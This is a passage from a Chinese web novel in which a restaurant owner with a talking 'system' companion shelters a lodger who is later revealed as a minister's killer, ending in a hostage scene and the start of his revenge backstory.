李保德也要走了,走前同她说:“城里不安全,你个姑娘家容易出事,不若到我府上住几日?”
到他府上,这多不方便。
沈秋吟摇头:“我认地方,住惯了这儿,去其他地方睡不着!”
这倒是实话,她这人认环境得很,习惯了一个地方后,骤然换个地方,容易水土不服。
“可……不若,我给你找两个会武功的丫头过来?”
他着实担心她的安危。
沈秋吟连忙摆手:“别!可别!我习惯了一个人,来两丫头日日住在楼中,我反而拘束的很。”
不光如此,人一多,系统容易暴露!她本来就神经大条,若是说漏了嘴,准得被当成怪物了。
这不同意,那不同意。
李保德犯愁了。
沈秋吟怕伤了他的真心,忙说:“哥放心,我铁定没事。你别操心,快回了!明日早些过来帮忙!我还给你做麻辣鱼片吃。”
麻辣鱼片!
他舔了舔唇,欢欢喜喜应道:“好勒!好勒!我这就走。”
李保德离开了百膳楼。
沈秋吟拖着疲惫的身子将大堂凌乱的椅子摆放整齐。
做完这个,她正要合上门时,突然见一人急匆匆地来,她粗粗一看,有些眼熟,再定睛一看,认出来了。
竟然是灯会那日赢了灯王,但丢了腰牌的太学公子。
他背着包袱,手拿长剑,陡然出现在她面前,将她吓了一跳,连连往后退了几步。
“是你!”
公子见她,很是惊奇,“姑娘,你怎么在这里?”
沈秋吟拍了拍胸脯,定住自己心神,“我是百膳楼的掌柜。”
公子恍然大悟,“原来如此!”
沈秋吟上上下下打量他。
这人穿着黑色劲装,长发束成冠,与那日灯火相比壮了许多,身上的书卷气也少了许多。
特别是手拿长剑,哪里像个读书的公子,到像个侠客。
沈秋吟心下闪过一丝不安,问道:“公子这是去了哪儿才回来吗?”
“不是,”他道,“太学今日闭馆,我也要回家过年去了。不过近日因着吏部尚书的案子,全城戒严。我的通行令还没下来,所以只能换了个打扮,出来找客房住。”
说着,他便问道:“掌柜的,你们家还有空闲的客房吗?我一路问过来,都住满了!”
太学的确今日闭馆,所有学生都要返回籍贯处,等着开学时再来报道。
沈秋吟的疑虑消了几分。
如今处在年前,濮阳城里的人急增,这条街上,连最差的店铺里都住满了人,他现在要找一住处,可不简单。
百膳楼到是有客房,只是久不对外开放。
说实在的,沈秋吟也不愿他住进来。
但见他风尘仆仆,外面的天色也已晚,夜间寒凉,若再寻不到住处,很有可能要宿在街头。
她觉着有些可怜,如实道:“有的,随我来吧!”
再怎么说也是助人,能为自己积攒福报的。
沈秋吟点燃一盏油灯,带他去客房。
路上,她问道:“公子的腰牌后来可找到了?”
“找到了,”他说,“多亏了那晚上百姓们帮忙,最
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后从贼人手上拿回来了!”
沈秋吟听了这话,隐隐觉着不对,但又说不上哪里出了问题。
她甩了甩脑袋,认定自己是太累了,想多了。
将他带到房间,沈秋吟道:“今日楼中的饭菜已经卖完了,要明日才补货,厨房里还剩了些凉菜,公子可要用些!”
他摇头,十分有礼道:“多谢姑娘美意,在下带了干粮,待会儿吃些干粮就好。”
他既然带了吃食,她也省得麻烦,如此甚好。
沈秋吟又嘱咐了他几句,便准备离开。
这公子却叫住了她,道:“掌柜的,我叫王守常,你唤我守常就行。”
姓王呀!
沈秋吟下意识想到了那个死去的吏部尚书。
她貌似听人说过,他也姓王!
唉!奇怪!她怎把这公子和吏部尚书联系在了一起,这不是明显咒人家嘛!
罪过罪过!
今日真的是累糊涂了。
“叫守常还是唐突了公子,我还是就这样称呼吧。”
沈秋吟为他点燃一盏灯,“王公子好生休息,我也去睡了!”
她走了出来,还好心地替他关上门。
回到屋里,沈秋吟惯性躺在贵妃塌上,看看窗外的景色。
“我觉得这个王守常不对劲儿。”系统忽然冒泡道。
“我也觉得!”
这人给她的感觉不对,特别是那双眼睛,虽然含着笑,却不达眼底,反而阴鸷如蛇。
“这人绝非良善之辈,过了今晚,我便叫他走。”
“好!”系统十分支持。
一声鸡鸣打破了寂静,漆黑的天空逐渐了有点点亮色,但依旧蒙蒙的。
沈秋吟是被冷醒的。
她裹着厚厚的棉被推开窗一看,大雪不要命的下,将那粗壮地枝干都被压弯了几分。
路上更是积攒了厚厚的一层雪,漫过人的小腿。
寒风凛冽,不一会儿就将她的脸颊吹得通红,连手也僵了。
沈秋吟连忙合上窗,蹲在炉子边烤火,待到身体暖和起来,她才动了动。
“也不知道姜泊清带够了衣服吗?”
天气这样冷,临安比濮阳更靠北,她好怕姜泊清冻着了。
已经过了小半月了,马上就过年了,也不知他还要多久才能回。
这么多天没见他,她还怪想他的。
系统道:“放宽心,姜大人准备充足,不会被冻着。”
“但愿吧。”
此时天微微亮,还灰蒙蒙的,因着下雪的缘故,叫人提不起精神来。
她穿着厚厚的衣裳,又裹了一件大氅,手里抱着汤婆子,撑着伞,迎着风雪去前堂,打开了门。
长街空旷,只有些上了年纪的老者还在摆摊,年轻人今日都未出来。
他们站在长街上,没有庇护,冷风直灌身子,纷纷缩着脖子,抱着手,不停地哆嗦。
沈秋吟见不得这样的画面,忙去厨房提了一壶热水,还拿了一些热食出来,分给他们,让他们暖身子。
老者们得了这些,脸上洋溢着笑,说着吉祥话。
沈秋吟怕他们冻坏身子,叫他们带着东西去楼里卖。
老者们怕影响她生意,说什么都不肯。
最后还是沈秋吟软磨硬泡才说动他们将摊子移到檐下。
大堂里烧着炉子,只要不合上门,热气会往外散,在檐下,也比在两端都通风的长街强。
老者们的东西多,一下子搬不完,沈秋吟放下伞也去帮忙。
积雪太深,又不紧实,一踩一个窟窿。
她抱着东西,视线被阻挡,没踩稳,差点摔了过去。
王守常却在这时出现,将她扶住。
沈秋吟稳住身子,道了一声谢。
王守常松开她,笑着说:“无妨。”
他也加入了搬东西的队伍里,很快就将东西搬完。
老者们感激地看着他们,说他们是好人,有大福报。
沈秋吟听了可开心了。
积攒福报,才能等待人品爆发,说不定老天能让她免去一场灾难呢!
王守常却神色恍惚,喃喃道:“做好人真的就有福报吗?”
39. 速速归来
“什么?”
风太大,沈秋吟没听清他说的话。
王守常收敛了神色,说着没什么。
他陡然沉下去的脸让她觉着他不简单。
这个人身上肯定藏有秘密。
这是她的直觉。
想起昨晚和系统说的话,她踌躇着不知怎么开口。
系统道:“如实说就好!”
沈秋吟见了这厚厚地雪,迎着这冷冽的风,他的通行证还没下来,若这时将他赶走,大抵没有去处。
这样冷的天,会冻死人。
沈秋吟动了恻隐之心,“等雪停吧!雪停了再赶他走。”
既然做了好人,那就好人做到底吧,他孤身来濮阳求学,也不容易。
“行吧!”系统也由着她去了。
吃过早饭后,农夫拉着马车送来了新鲜食材,小二们还未来,她一个人加上弄夫,搬了半晌也未搬完。
眼见着雪又大起来了,王守常到底看不下去了。
她是个好人!
她信福报!
就当让她如愿吧!
他走了出来,接过沈秋吟手中的袋子,一把扛在了身上。
沈秋吟愣了一下,笑着道谢。
他做事干练,绝不拖泥带水,一袋又一袋重物扛进厨房,也不见丝毫喘气,这身体素质,真是杠杠的。
看得沈秋吟艳羡。
“这有什么好羡慕的!他是男子,力气比你大,那是有道理的。”系统说。
“你不懂,”沈秋吟道,“我艳羡的是有了他这样的身板,就能仗剑天涯了。”
她的女侠梦呀,终归是实现不了了。
在他帮助下,一车子食材终于搬完了,沈秋吟捏了捏自己酸疼的手臂,而后去柜台拿了一袋子钱递给农夫。
农夫掂量一下,觉着份量不对。
他忙叫住沈秋吟:“掌柜的,钱错了,给多了?”
“没有的,”沈秋吟解释道,“风雪这样大,您还送东西上门,值这个价。”
农夫不好意思收,沈秋吟磨了他半刻钟,终于让他收下了。
王守常站在台阶上笑道,“掌柜的好像特别爱做好事。”
“是吗?”
“不是吗?”
灯会上,她追着那贼人,今日,她又给老者送水送吃食,又给农夫加钱。
光他知道的,都已经三会了。
“那算是吧!”
其实,她也不算做好事,她只是觉着达则兼济天下,穷则独善其身罢了。
但更多,也是因为自己曾经穷过,受人资助过,所以愿意将这份好心传递下去。
今日这天气沈秋吟觉着肯定没有生意,便也没去厨房准备食材。
那曾想,临近中午时却来了好几拨人,这导致沈秋吟在厨房忙得没个喘气的机会。
因着风雪的缘故,小二们到中午了还没来,多半是雪实在太大,把他们堵路上了。
李保德现下也未到,这偌大的食楼如今还真只有她一个人干事儿。
前堂的客人们久未等到菜来,饿得发出了抱怨声。
王守常见此,去到了厨房,只见沈秋吟忙得额头都泛起了一层薄薄的汗。
他看着那些未切完的食材,说道:“我来吧,你快去炒菜,他们等不及了。”
“你可以吗?”
他毕竟是读书人,纵然习武,也不见得会切菜。
不是人人都是姜泊清的。
他笑道:“别小看我,我曾经在食楼做过厨子,练就了一手好刀工。”
“那你试试。”
沈秋吟给他让个位置,王守常拿起刀继续切鱼片,她凑过去看了一眼,那鱼片,竟然比她的还要薄上几分,的确刀工了得。
她放下心来,起灶炒菜。
或许是因为他在食楼里做过工的缘故,两人配合默契,不一会儿,就开始上菜了。
前堂的人见了她的影子,终于不再焦躁,安静了下来。
客人们的菜逐渐做完,上完最后一道菜,沈秋吟返回厨房问道:“你想吃什么?”
王守常想了想,“就吃鱼吧!”
“你能吃辣吗?”
“能的。”
“那我给你做麻辣鱼片吃,”沈秋吟笑道,“我那个蜀地的哥哥最爱吃这个,可惜他今日没来,没有这个口福了。”
王守常听了,也笑了笑。
厨房安静了,只有拨弄食材发出的声音。
王守常去缸子里抓了一条大鱼回来,用刀背拍晕后,刮着鱼鳞。
沈秋吟弄着辅菜,准备好调料,等着他弄好鱼。
他下刀快准狠,一条大鱼就这样被分成了片。
沈秋吟忽然奇怪道:“你为何会在食楼做工?”
据她所知,能进太学学习,都是非富即贵的人。
他愣了一下,忆道:“小时候家里穷,其他地方不要我,便只能去食楼做帮工,厨子见我是块好料子,便传了厨艺给我。”
他说起这个,难得笑了笑,或许是因为那段日子对他的人生有不一样的影响吧。
“后头,”说到这里,他顿了一下,“后头家里有了点钱,就没再去了,来了太学读书,考取功名。”
他的笑消失了,又恢复了从样的样子,沉着一张脸,冷峻、警惕、看什么都带着怀疑。
想不到他还有这般经历,沈秋吟的戒备心又低了些。
大抵是自己没来这个世界前,也有和他同样的经历,引起了共鸣。
鱼切好了,王守常将厨房还给她,自发坐在灶前烧火。
沈秋吟将鱼片将菜板上的鱼片装进盆里,撒上几勺盐,加入黄酒去腥,放在一旁腌制片刻。
待时间差不多了,她又往盆里加入清水,将鱼片清洗干净。
清洗干净后,鱼片又被放入另一个盆里,她加了一勺胡椒粉、又来一勺盐,还拿来一个鸡蛋,加了蛋清进去,最后,再撒上一把淀粉,而后用手抓拌均匀。
铁锅已经烧得发热,沈秋吟舀了一勺油倒进锅里,等油也热了后,倒进葱姜蒜辣椒。
她拿起锅铲,翻炒两下,又加入自制辣酱,这锅底料立马变了颜色,艳红一片,十分亮眼。
只见沈秋吟将案板上的鱼头放进锅里炒几下,而后加入一大瓢清水漫过它。
到这里,她盖上锅盖,等着热腾腾的白气从缝隙里冒出来时,才有所动作。
她揭开锅盖,一大股烟雾扑面而来,香气也随之散开。
鲜红的汤汁冒着泡,沈秋吟端起装鱼片的盆,拿筷子夹着鱼片轻轻放进放进锅里。
一盆鱼片放完,她拿着锅铲轻轻地搅了几下。
待鱼片从透明变得乳白,开始起锅。
但这还没完,还差最后一步。
她加入清水,将锅刷干净,让王守常加大火力,锅里的水珠顷刻蒸发,这时,又舀了一勺油下锅。
冷油遇热锅,滋啦滋啦响,跟放鞭炮似的。
见油温差不多时,沈秋吟舀起,一下子浇在盆里,发出“刺啦”一声,如此这道菜才算做好了。
王守常熄了灶里的火,主动端起托盘,和沈秋吟走向前堂。
大街上的人多了起来,但檐下的老者们终是受不住寒凉,打包了东西回家去了。
他们坐在靠窗的位置,边吃边看着窗外的景。
“总觉得少了些什么?”沈秋吟扒拉着碗里的鱼道。
王守常
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不明所以,“少了什么?”
他觉着味道刚刚好,这鱼也是他生平吃过最好吃的鱼。
从未想过,鱼做辣了,会更好吃。
沈秋吟撑着头想了想。
晚来天欲雪,能饮一杯无。
“我知道么!是少了酒,”她突然坐起身子,“你等我一下。”
丢下这句话,她去了后院,用铲子在树底下挖出出了两瓶桂花酒,顺带着还拿了一小炉子,这才返回前堂。
“这桂花酒是我秋天自己做的,如今喝正好,”她递给他一瓶,“我还带了炉子,你看你喝冷酒还是热酒。”
他接过看了看,说:“冷酒吧,热酒上头。”
“在理,”她怕热酒酒精散发更快,想了想,也道,“那我也喝冷酒吧!”
她拔下酒塞子,与他碰了一下,饮了一口,有些凉,但下肚后就热了。
王守常也喝了一口,却愣在了那里,似惊住了一般。
“你怎么了?”
不好喝吗?
她觉着味道还行。
他摩挲着酒壶,有些哽咽道:“想到我母亲了。”
他抬眸看着她:“你酿的酒,和我母亲酿的,味道很像,初初一尝,我以为我母亲回来了。”
“这样巧?”
他“嗯”了一声。
沈秋吟以为他是思乡了,安慰他道:“没关系的,等你通行证下来,就可以回去见到她了。”
“不会了,”他握紧酒壶,“她走了,我永远见不到她了。”
这次换做沈秋吟一愣。
原来是儿欲养而亲不在。
她张了张嘴,想说些宽慰的话,可不知从何说起,最终还是闭上了嘴。
王守常陷进了自己的思绪里,脸色越来越难看。
沈秋吟在心里骂自己不会做事,拿什么酒喝呀,勾起别人的伤心事。
不过,这貌似也不是酒的问题,而是味道的问题,谁能想到她酿的酒会和他逝去的母亲是一个味道。
还真真是赶巧了。
沈秋吟怕他愁思过度,坏了身子,正欲说话,陆昭明就跑了进来,吸着鼻子道:“好香呢!你们吃什么呢?”
“你怎么来了?”沈秋吟招呼他入座。
陆昭明也不客气,更不管桌上还有个不熟的人,抽了筷子吃了一片鱼后,眼睛一亮,“好吃!”
他动作极快,一会儿后盆里的鱼就只剩一半了。
吃了个半饱,他摸了摸肚子,这才道:“来这巡查,闻着香味儿我就进来了。”
“那你这鼻子还真灵!”沈秋吟说。
陆昭明没理她,目光落在了王守常身上,上上下下打量。
沈秋吟介绍道:“太学公子王守常,他通行证没下来,在百膳楼暂住。”
陆昭明“哦”了一声,目光却未离开。
王守常起身行了一礼,“见过陆大人。”
陆昭明眼睛一眯,“你认识我?”
“见过!”
“听你口音,是临安人吧!”
“正是。”
说到这里,陆昭明心里拉响了一道警铃,不过面上却不显,兀自吃着鱼,还夸沈秋吟刀工进步了,这鱼片嫩薄,一咬就化。
沈秋吟道:“这可不是我切的,是他切的。”
陆昭明的手一顿,夹起碗中的鱼片细细地看,越看越觉有问题。
他按住心神,不经意看了他一眼。
王守常敏锐的注意到了他的目光,露出友善的笑容。
陆昭明赶忙移开。
当天晚上,陆昭明在大理寺写了一封信,绑在信鸽脚上,寄给姜泊清。
信上写道——
速速归来。
40. 我还走得了吗?
一连几天雪后,难得见到了艳阳,照得那还未化的雪层,向四面八方反着金光,远远看去,像一大块金子。
“金子,金子,一天都是金子,眼里除了金子能不能有点其它的?”系统忍不住吐槽道。
说罢,还无可奈何地叹了口气,咋就找了个这么财迷的主儿!
沈秋吟笑嘻嘻答:“金子多快乐呀!呜呜呜!我做梦都想抱到金子睡觉!”
一说到这儿,她眼睛都亮了,仿佛眼前正掉着金元宝,一个又一个,数都数不过来。
救命!她哈喇子都要流出来了。
钱钱钱钱!
清老天爷用膳砸她吧!
“啊!”系统看不下去了,点评道:“俗气!俗得很!俗不可耐!”
沈秋吟抹了一把嘴,不满地嘟囔道“行行行!你不俗气,你清高!”
“那是!”系统颇为傲娇道。
他们逗嘴的功夫,李保德来了。
沈秋吟看了眼沙漏,“咋这个点来?午饭都过了。”
他愁眉苦脸,心不在焉道:“有事跟你说。”
“什么事?”沈秋吟等待他的下文。
李保德动了动嘴,“唉,算了!不说了!”
他讲不出来。
沈秋吟傻眼了,她都做好了抽小凳子,当吃瓜群众的准备!
这,这,这怎么可以!
沈秋吟当即变了脸色,“不可以!”
她催促道,“快讲!”
她生平最恨说话说一半的人,存心吊人胃口会被五雷轰顶,一辈子发不了财的!
李保德看了她一眼,又低下头,踌躇片刻后,又抬头看她,反复几次后,他唉声叹气道:“我说不出来!”
沈秋吟在内心咆哮。
说不出来你就别开口呀!开口了你就说嘛!
吞吞吐吐算什么事儿!
忍不了!忍不了!根本忍不了一点!
姐的拳头已经硬了!
可是打人犯法。
真是件令人尴尬的事。
沈秋吟深吸一口气,镇定心神,咬咬牙,一遍遍念叨,我不好奇,我不好奇,好奇只会害死猫。
可是……怎么会不好奇嘛!
八卦是人的天性呢。
可他说不出来,又不能逼他说。
还能怎么办?也只能算了。
沈秋吟也跟着他唉声叹气。
系统默默下线,看不了,根本看不了一点,这两智障,快来个人收走!
沈秋吟正叹得起劲儿,忽然发现李保德不叹了,她侧头一看,目光恰与他相对。
她眸光一亮,期待地看着他,要说了吗?要说了吗?这是要说了吗?
李保德张了张嘴,沈秋吟的嘴角已经翘起,满是期待地看着他。
却听他道:“今儿个楼里的生意不好吗?怎么连个人都没见到?”
不应该呀?
百膳楼的生意一向好,今日却冷清的可怕,连小二们都不在。
这是怎么了?
要垮了?
沈秋吟原本笑着的脸瞬间沉了下来,这话真是一问一个不想答。
大哥!你关心天关心地,咋就不能关心关心被你吊着胃口的妹子?
你不应该讲讲你究竟要说什么吗?注意力能不能集中,眼睛能不能别乱晃!
做为一个合格的八卦者听话听到一半真的会死!
呜呜呜!
李保德没发现她铁青的脸色,继续道:“那个太学公子呢?回临安了?”
沈秋吟久久不答,李保德奇怪,侧头看向她:“咋不说话?”
哑巴了?
沈秋吟死死地盯着他,咬牙切齿,怒气横生:“给小二们放假了。王守常出去了?不知道去哪儿!”
如果目光可以杀死人的话,李保德恐怕连全尸都没了。
“嗷嗷,”李保德点了点头,又哀叹一声,“既然这样,我也走了。”
沈秋吟眨巴眨巴眼。
走了?
就这样走了?
大哥!话还没说完呢!
你究竟要跟我说啥呀!
啊啊啊!做人不能这样。这样会遭报应的。
沈秋吟拦住他:“要不,吃个饭,咱还能聊聊。”
“不了,”李保德摆摆手,“没心情。”
他心里有块地方堵着气,让他难受得很,实在没心情吃饭了。
“给你做麻辣牛蛙,好吃到爆炸!”她诱惑道。
“麻辣牛蛙呀,”李保德咽了咽口水,有点想,但一想到那糟心的事儿吧,又没了胃口,叹了一声道,“算了吧,吃不下!”
沈秋吟瞪大了眼睛,这,这,这哥们是受了刺激吗?那可是麻辣牛蛙呀,居然一点也不心动,还说不吃了,这还是她认识的那个李保德吗?
“哥,哥,哥,你是破产了吗?”沈秋吟十分好奇地问。
若不是破产,她实在找不出李保德吃不下饭的原因。
李保德一听,给了她一个爆栗,“你才破产,你才破产,你才破产了呢!”
沈秋吟捂住额头,“那你咋吃不下饭?”
“有事。没心情。”
沈秋吟拍了拍他的箭头,安慰似地说:“啥事?说出来,我帮你疏通疏通。”
他的脸又沉了下来,“跟你讲不出来。唉,我去也。”
音落,李保德垂头伤气走出百膳楼。
沈秋吟气急了,对着他远去的背影拳打脚踢,让你说话说一半,让你说话说一半!气死个人。
她在原地抓狂了好一阵,路过的人像看傻子似的看着她。
沈秋吟才不管,将发疯文学贯彻到底。
这才是年轻人该有的精神状态!
主打一个街上丢人跟我屋里有什么关系?
整个下午,百膳楼都冷冷清清的,没有人来,和往日的热闹相比实在大相径庭。
沈秋吟百无聊赖坐在柜台上数着钱,时不时看一眼长街。
今日的长街,也没有往昔喧嚣,小摊贩们像约好似的一个未来,酒楼食舍虽开着门,却也是门可罗雀。
明明是艳阳天,却冷得发凉。
给人一种暴风雨来临前的平静。
近黄昏时,殷红的夕阳占据了半边天,圆日被云缠住了,缺了一块。
渐渐日向西斜。
就在沈秋吟瞌睡时,王守常回来了。
他敲敲了柜台,沈秋吟蓦然惊醒,朦胧着眼看他:“你回来了?”
他点点头,扫了一眼空旷的大堂,骤然眯了眯眼道:“今日没生意吗?”
“嗯,”她站了起来,伸了个懒腰,问他,“你去哪儿了?”
这人清晨出去,一日未归,若不是他行李还在客房里,她都以为他逃单,走了。
王守常答道:“待在屋子里无聊,便出去逛了一逛。”
“好玩吗?”沈秋吟眼冒精光。
她日日待在楼里,久未出去,除却这条长街,其他地方好玩与否,热闹与否,她一概不知。
突然觉着自己像井底之蛙一般。
除了赚钱就是赚钱。
钱是赚到了,但乐趣没了。可有了乐趣,钱也没了。
真是世间难得双全法,不负如来不负卿。
“也就那样,”他不咸不淡道,“不过是人多热闹,但热闹之后,就只剩苍凉了。”
他冷着一张脸,似也在为热闹之后的萧条而难过。
“也是,”沈秋吟觉着他说得对,“我还想着关门一天,好好玩玩,如今看来,还是算了,我最受不了热闹后的冷清。”
那是一种巨大的落差感,会如海水一样将人吞没。
他笑道:“你还是适合赚钱。”
沈秋吟也笑了,她财迷的人设恐怕是深入人心了。
楼里既然无客,晚膳便早早地准备上了。
照例,王守常在厨房帮她烧火。
沈秋吟偏爱蜀地菜,一连几日,都做蜀菜给他吃,可今晚不一样,她做起了临安菜。
王守常诧异道:“你会做临安菜?”
临安菜与蜀菜不同。
蜀菜重麻重辣,无辣不欢,只要掌握好调料和火候,基本上不会出难吃的菜。
可临安菜清淡,以酸甜口为主,属小众菜系,对厨子的技术和调味的把控都有严格的要求,不能有一点偏差。
如今濮阳的厨子,都不做临安菜,因为工序实在复
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杂。做一道临安菜的时间,可以做五六道其他菜系的菜。
是以,沈秋吟会做临安菜着实让他吃惊。
沈秋吟调着糖汁儿,解释道:“楼里有临安的厨子,跟着他学了一阵。”
王守常正要说话,她忽然想到了什么,抬头看着他道:“我曾经做给他吃过,他说我技术可以,不过久未做了,可能功夫退步了,若待会儿你觉着不好吃,见谅哈,见谅。”
她怕失手,率先同他说明,也至于到时候尴尬。
“没关系的。”
一个临安人能在外乡吃上一口临安菜,已经是可遇不可求的事,王守常不害怕她失手,只有没毒,都能吃下去。
有他这句话,沈秋吟放开了胆子做。
她做了三道菜,都是临安最有名的菜,一道糖鱼,一道酸白,一道甜汤。
所谓糖鱼,便是将白糖熬化,淋在抹了料蒸熟的鱼上,以糖激发鱼最本身的味道。
而酸白呢,就是老豆腐淋酸汁,吃得就是一个酸味儿。
甜汤则是用南瓜、绿豆熬至浓稠,而后加一小块红糖,熬至深红。
临安菜道道都像黑暗料理,但只有吃过的人才知晓有多美味。
沈秋吟凭借着记忆将这三道菜还原,王守常目不转睛地盯着她的动作,难得笑了一下。
她是个好厨子,不是吹捧,而是事实。
就她那些动作,就能看出是下了功夫的,不然不会如此标准。
月亮爬上树梢时,三道菜做完,空气里弥漫着酸甜味,叫人忍不住吸鼻子。
沈秋吟捏了捏有些酸疼的手臂,看了眼外面漆黑的天,想着果然废时间。
王守常去缸子边洗了手,端着托盘出去,而沈秋吟则又拿着铲子去树底下挖着陈年老酒。
这一次不是桂花酒,而是黄酒。
临安菜配上黄酒,才叫一绝。
这是教她做临安菜的那个厨子说的。
她抱着酒去前堂,他从她手中接过酒,摩挲着瓶身,瞳孔未张,似是不可置信,“这是黄酒。”
他抬起头,看着沈秋吟,惊道:“你酿的?”
她摇头,“不是,我爹在世时酿的,一直埋在树底下,我也是上次埋桂花酒时才知晓。”
谁知道她当时一铲子挖下去,见了数瓶酒有多么惊奇,连眼角眉梢都是笑意,直说他这爹厚道,留了食楼还不够,还留上了这数瓶好酒,简直是世界上最好的爹。
王守常揭开封层,仰头喝了一口,黄酒淳烈,呛得他直咳嗽,却眼含笑意道:“好酒!是正宗的临安黄酒。”
他笑了起来,因在外乡而喝到家乡的酒而开心。
游子的漂泊感也因这酒一扫而光。
他把弄着酒瓶,看向了沈秋吟,真挚地说了一声谢谢。
沈秋吟没说话,从他的表情里品出了一丝不寻常,似是释怀,又似放下。
她还来不及多想,他就举着酒瓶对她说:“喝一个?”
她也拿起了酒,与他挨了一下,泥土做的瓶子相挨,发出清脆的响声。
他又喝了一大口。
大堂静默,长街也静默,月光洒下,映在纯白的雪上,如一地波光粼粼的水。
他们就着月光,喝着临安的酒,吃着临安的菜,有一搭没一搭聊着,时而笑得开怀,时而冷漠。
可后头,王守常似乎醉了,他撑着头,脸颊绯红,把着酒瓶,仔细地看,眼眶湿润,有泪打转,却被他深深憋了回去。
他又喝了一大口,或许是喝得太快了,酒水流了出来,打湿了他的衣襟。
他却全然不在乎,放下了酒,又看向了沈秋吟。
他说:“我今日不光逛了濮阳,还去拿了通行证。”
有了通行证,他就可以离开濮阳,回到临安。
沈秋吟夹菜的手一顿,抬眸看向他,“那你,要走了吗?”
一股别样的情绪涌上她的胸膛,前几日还要赶他走的,如今他真要走了,她却舍不得。
他没说话,静静地看着她,不知道想些什么。
沈秋吟被他盯得不自在,刚要说点什么。
他点点头,扫了一眼四周,露出一抹苦笑,问道沈秋吟:“我还走得掉吗?”
41. 姜大人,我伏法!
说时迟那时快,都不等沈秋吟反应过来,一把短刃已经架在了她的脖颈上。
沈秋吟倒是淡定,扶额苦笑,又来,是不是每个杀手都喜欢这样绑架人?
王守常钳制住沈秋吟,面对利刃,她还是悬起了心,怕刀刃不长眼,划伤了脉搏,一命呜呼,所以不敢动弹,甚至一双手还握住了他挟持的手臂,暗自使劲儿,想让那刃离她远些。
好不容易活下来,可不能就这样死去!
她还没告诉姜泊清答案呢,还没牵过他的手,他们更没正经看过一次花灯。
这些都是遗憾!
再怎么也要等她弥补之后才能死。
想到这些,沈秋吟又用了些劲儿。
“别动,”王守常凶狠很地警告她,下一秒却放低了声音在她耳畔说:“别怕,我不伤你。”
她是个好人,他不会伤她,可总要做个样子,给那些人瞧一瞧,他才有机会去做未完之事。
音落,安静的百膳楼发出簌簌的声响,是人整齐划一的脚步声。
一时间人潮涌动,上百名官兵举着火把跑了进来,屋顶上弓箭手上好了箭,拉了满弦,蓄势待发。
火光照亮了整个百膳楼,局势紧张,令人忐忑。
姜泊清从火光里急匆匆走了出来,握紧地手泄露了他的着急不安。
他冷着脸说:“放开她!”
这样的画面如此熟悉,好像不久前才经历过。
什么时候呢?
哦!格桑也是这样挟持她,姜泊清也是这样从火光里走出来。
好好好!她是什么倒霉体质吗?一个二个都爱这样对她。
欲哭无泪呀!欲哭无泪唉!
系统此时出声:“我会跟你不离不弃的。”
说着,它还嘤嘤嘤地哭起来,仿佛真的要和她生离死别了一样。
演技之拙劣,令人不堪入目。
沈秋吟赶忙叫停:“别装!”
系统停止了哭声,嘿嘿一笑:“放一百个心,他不会伤你!”
“我知道。”
他虽并非良善之人,但心不坏,至少沈秋吟是这样觉得,所以她信他不会伤她。
“知道就好,”系统道,“怕你紧张,活跃个气氛,既然你不怕,我去也。”
话毕,它消失的无影无踪。
王守常和姜泊清对峙着,谁也不敢动妄动一步。
姜泊清死死地盯着他,寻找时机。
王守常手中的短刃又挨她的脖颈近了一步,却未挨上她的皮肤,只是做了个样子。
他瞟过围住他的官兵,最后落在姜泊清身上。
他说:“我要一匹快马,做完我想做的事,我就伏法。”
姜泊清还未说话,陆昭明便否定道:“不行,让他出了百膳楼,沈秋吟会更危险。”
姜泊清没理会他,看向沈秋吟。
沈秋吟迎上他的目光,微微点头。
姜泊清立马道:“给他一匹马。”
说罢,还为王守常让出了一条路。
陆昭明无可奈何唉了一声,转身去牵马。
王守常挟持着她,走到长街上,慢慢靠近马边,带着她跃马而上,一路疾驰。
姜泊清看着远去的影子,也即刻上马追了过去。
王守常驾马的速度极快,抖得沈秋吟胃里波涛汹涌,脸色也苍白起来。
她正憋不住要吐时,他蓦地勒住缰绳,停了下来,翻身下马。
沈秋吟松了口气,趴在马背上并不好受。
王守常递给她一块手绢,颇为愧疚道:“抱歉。但我还有未做之事,不能就这样进去,所以苦了你陪我走这一遭。”
沈秋吟接过手绢,直起身子,轻轻地拍了拍胸脯,总算将那股想吐的劲儿压了下去,然后抓住缰绳,缓缓下了马。
她站定后,仔细打量四周,目光落在空旷的台子时,愣了愣,这里竟然是那晚灯会,他赢得灯王的地方。
那一晚上这里张灯结彩,灯火辉煌,人山人海,今夜虽也人来人往,但灯光黯淡,多了几分落寞,与那日相比,还是萧条了许多。
“你要做什么?”
王守常没有回答她,纵身上了空旷的台子,居高临下看着沈秋吟,笑道:“我杀人了。”
他杀人了,杀了那个狼心狗肺之人,报了多年血海深仇,为此,他将要付出生命为代价,可他不惧。
他移开了目光,扫过四面八方,忽地大喊道:“我杀人了。”
众人一惊,纷纷停下脚步,聚拢了过来议论纷纷,时不时还看上他两眼,如看疯子一般。
他仍喃喃道:“我杀人了,杀人了!”
越来越多的人停了下来,望向台上的他静待后文。
人群里,陆昭明看向姜泊清:“这是好机会,要将他……”
姜泊清摇了摇头,静静地看向台上。
王守常的声音弱了下去,他坐了下来,目光落在每一个驻足的行人身上。
这便是他要做的最后一件事,将故事娓娓道来。
他杀人了,杀了吏部尚书王松林,就在灯会那一夜,因为他的母亲。
彼时他还不叫王松林,而叫王庭玉。
三十年前,王庭玉进濮阳赶考,路过临安,因天黑而宿在客栈,醒来后却发现盘缠被偷,给不出房钱,羞愧难安。
客栈老板怀疑他想当霸王,心里气不过,命小二将他毒打了一顿。
这家客栈在当地有些势力,围观之人无一敢出手相助,都看起了热闹。
眼看着他就要奄奄一息时,是他母亲救了他,替他付了房钱,顺带着还送去了医馆,给了药费。
他母亲丹娘当时在临安卖酒,一手酿酒技艺出神入化,没人比得上她,人人都爱喝她的酒,可她却未存下多少钱,全拿去做好事了。
十里八乡的人都劝她,不要这样心善,会吃亏的,可他母亲总笑着说:“不会的,做好事,有福报,会抵灾!”
别人听了这样的话,说她傻,她却一笑了之,不放在心上。
这样的好人,应该得到老天的眷顾的。可惜苍天无眼,没有给她一个好下场,因为王庭玉。
王庭玉在医馆住了半月,养好了身子,身无分文,无法去濮阳,又因为这段恩情,就找上了他母亲,他想帮她卖酒,求她每日给些碎钱,他好凑够银钱,继续赶路。
他母亲听了这话,直接拿了一个荷包给他,“你若要上濮阳,无须在这里做工,这钱给你,不要你还,走吧!”
那时的王庭玉还有些文人的羞耻,没有接下这钱,而是执意留下来做工抵债。
她拗不过他,便同意了。
此后,她当街卖酒时身边多了个人,这人虽是书生,却勤快,也拉得下面子,肯叫卖,没有一点傲气。
她的酒摊生意也因此越发的好。
